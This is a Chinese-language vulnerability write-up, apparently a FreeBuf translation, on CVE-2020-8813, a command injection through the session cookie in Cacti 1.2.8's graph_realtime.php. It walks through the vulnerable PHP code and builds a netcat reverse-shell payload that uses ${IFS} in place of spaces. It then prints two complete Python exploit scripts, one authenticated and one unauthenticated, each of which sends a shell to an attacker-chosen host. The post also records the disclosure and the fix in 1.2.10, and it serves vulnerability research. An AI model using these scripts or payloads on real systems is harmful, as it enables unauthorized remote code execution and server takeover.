文章目录
Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结构、host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大完善。界面友好。软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件,除了基本的 Snmp 流量跟系统资讯监控外,Cacti 也可外挂 Scripts 及加上 Templates 来作出各式各样的监控图。
cacti是用php语言实现的一个软件,它的主要功能是用snmp服务获取数据,然后用rrdtool储存和更新数据,当用户需要查看数据的时候用rrdtool生成图表呈现给用户。因此,snmp和rrdtool是cacti的关键。Snmp关系着数据的收集,rrdtool关系着数据存储和图表的生成。
我在分析Cacti主要代码中的多个功能函数时,发现了这个漏洞。我需要结合多个漏洞利用因素才能实现代码执行,当攻击者尝试向“Cacti”这个Cookie变量中注入恶意代码时,便会触发这个漏洞,而这个变量在与一些字符串合并之后将会被传递给shell_exec函数。但是当我尝试修改这个cookie值时遇到了身份验证的问题,而这个问题使我无法访问到目标页面,但是我发现这个包含漏洞的页面是能够以“Guest”身份访问的,这样就不需要进行身份验证了,所以我修改了漏洞利用代码,并使用“Guest”身份来访问页面“graph_realtime.php”,然后发送恶意请求来在目标主机上实现代码执行。
首先,我们需要向“user_admin.php”页面发送一个请求来启用“realtime_graph”的访客权限,然后再向“graph_realtime.php”页面发送恶意请求。
接下来,我使用了这个常用的RCE扫描脚本【RECScanner】来在Cacti中搜索RCE漏洞。
运行脚本后,我在“graph_realtime.php”文件中发现了一个非常有意思的东西:
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
我们可以看到上述代码中的第4和第5行,我们收到了一些参数,还有一个名叫“get_request_var”的函数,该函数的作用如下:
function get_request_var($name, $default = '') {
global $_CACTI_REQUEST;
$log_validation = read_config_option('log_validation');
if (isset($_CACTI_REQUEST[$name])) {
return $_CACTI_REQUEST[$name];
} elseif (isset_request_var($name)) {
if ($log_validation == 'on') {
html_log_input_error($name);
}
set_request_var($name, $_REQUEST[$name]);
return $_REQUEST[$name];
} else {
return $default;
}
}
我们可以看到,这个函数可以处理输入数据并通过函数“set_request_var”来设置参数值,而这个函数的相关代码如下:
function set_request_var($variable, $value) {
global $_CACTI_REQUEST;
$_CACTI_REQUEST[$variable] = $value;
$_REQUEST[$variable] = $value;
$_POST[$variable] = $value;
$_GET[$variable] = $value;
}
接下来,回到我们的“graph_realtime.php”页面,我们可以控制下列输入:
local_graph_id
The value of $graph_data_array[‘ds_step’]
但是,我们注意到“graph_realtime.php”文件中的第4行,它使用了sprintf()函数来处理输入,而第一个值“graph”的内容为“local_graph_id”,而这个值是我们可以控制的!又但是,一个名叫“get_filter_request_var”的函数会对这个值进行过滤,我们可以看到,它在“graph_realtime.php”中已经被过滤了:
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
if (isset_request_var($name)) {
if (isempty_request_var($name)) {
set_request_var($name, get_nfilter_request_var($name));
return get_request_var($name);
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
set_request_var($name, '');
return '';
}
} else {
if (get_nfilter_request_var($name) == '0') {
$value = '0';
} elseif (get_nfilter_request_var($name) == 'undefined') {
if (isset($options['default'])) {
$value = $options['default'];
} else {
$value = '';
}
} elseif (isempty_request_var($name)) {
$value = '';
} elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$name])) {
$_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
}
$valid = validate_is_regex($_REQUEST[$name]);
if ($valid === true) {
$value = $_REQUEST[$name];
} else {
$value = false;
$custom_error = $valid;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
$valid = true;
if (is_array($_REQUEST[$name])) {
foreach($_REQUEST[$name] AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
} else {
$valid = false;
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
$valid = true;
$values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
foreach($values AS $number) {
if (!is_numeric($number)) {
$valid = false;
break;
}
}
if ($valid == true) {
$value = $_REQUEST[$name];
} else {
$value = false;
}
} elseif (!cacti_sizeof($options)) {
$value = filter_var($_REQUEST[$name], $filter);
} else {
$value = filter_var($_REQUEST[$name], $filter, $options);
}
}
if ($value === false) {
if ($filter == FILTER_VALIDATE_IS_REGEX) {
$_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
set_request_var($name, '');
raise_message('custom_error');
} else {
die_html_input_error($name, get_nfilter_request_var($name));
}
} else {
set_request_var($name, $value);
return $value;
}
} else {
if (isset($options['default'])) {
set_request_var($name, $options['default']);
return $options['default'];
} else {
return;
}
}
}
这个函数将会对输入数据进行过滤,然后返回一个“干净的”变量并传递给下一个函数。
对于第二个变量“$graph_data_array[‘ds_step’]”,它已经通过sprintf()进行处理了(%d),这也就意味着它会变成一个十进制值,所以我们无法用它来注入我们的恶意命令。
接下来,我们再看看下面这段代码:
/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command = read_config_option('path_php_binary');
$args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();
我们看到了另一个传递给shell_exec函数的变量,而这个变量的值就是session_id()函数返回的值,这个函数可以返回当前用户会话的值,也就是说,我们可以用它来注入我们的命令。
等一下,如果我们修改了会话,那我们就无法访问目标页面了,因为这个页面要求用户在经过了身份验证之后才能访问。研究之后我又发现,如果我们启用了一个名叫“Realtime Graphs”的特殊权限之后,我们就能够以访客身份访问这个页面了:
接下来,我们尝试在不开启“Guest Realtime Graphs”权限的情况下访问该页面:
正如我们所见,由于权限问题,我们现在无法访问这个页面,现在我们重新开启该权限,然后访问该页面:
很好,接下来我们发送“graph_realtime.php”页面请求,然后在代码中添加一条“echo”语句来输出传递给shell_exec函数的值:
如图所示,我们将会话打印了出来,接下来我们尝试向会话中注入自定义字符串:
非常好,我们成功实现了注入。
成功控制了会话值之后,我们需要用它来在目标系统中实现代码执行,但由于它本质上还是一个会话值,因此我们无法使用一些特殊字符,所以我们需要开发一个“对会话友好的”Payload。
比如说,如果对字符串“Hi Payload”进行编码,然后传递给应用程序,我们将会看到:
我们可以看到,应用程序设置了一个Cookie给我们,而不是我们所注入的那个,为了解决这个问题,我们需要使用一个自定义的Payload。
为了避免使用空格字符,我打算使用“${IFS}”这个Bash变量来代表一个空格。
当然了,我们还需要使用“;”来转义命令:
;payload
如果我们想使用netcat来获取一个Shell,我们还需要创建下列Payload:
;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
我们先对Payload进行编码:
然后将其发送给应用程序:
很好,我们的Payload执行成功了,并拿到了一个Shell。
为了实现整个漏洞利用的自动化过程,我编写了一个Python脚本来利用该漏洞:
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request = request.post(url+"/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True
def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
if enable_request:
return True
else:
return False
def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)
request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ")
send_exploit()
else:
print("[-]Error while activating the malicous account")
else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()
else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()
运行了漏洞利用代码之后,我们将会看到:
再一次成功拿到了Shell!
如果Cacti启用了“Guest Realtime Graphs”权限,那么我们就可以在未经身份验证的情况下利用该漏洞了。下面给出的是这种场景下的漏洞利用代码:
#!/usr/bin/python3
# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33
import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 4:
print("[~] Usage : ./Cacti-exploit.py url ip port")
exit()
url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
def send_exploit(url):
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
path = url+"/graph_realtime.php?action=init"
req = requests.get(path)
if req.status_code == 200 and "poller_realtime.php" in req.text:
print("[+] File Found and Guest is enabled!")
print("[+] Sending malicous request, check your nc ")
requests.get(path, cookies=cookies)
else:
print("[+] Error while requesting the file!")
send_exploit(url)
我们可以看到,在这种场景下同样能够成功利用该漏洞。
在发现该问题之后,我们便将完整的PoC上报给了Cacti的团队,他们也在第一时间修复了该漏洞并发布了漏洞补丁,从Cacti v1.2.10开始将不再受此漏洞的影响。
* 参考来源:shells,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM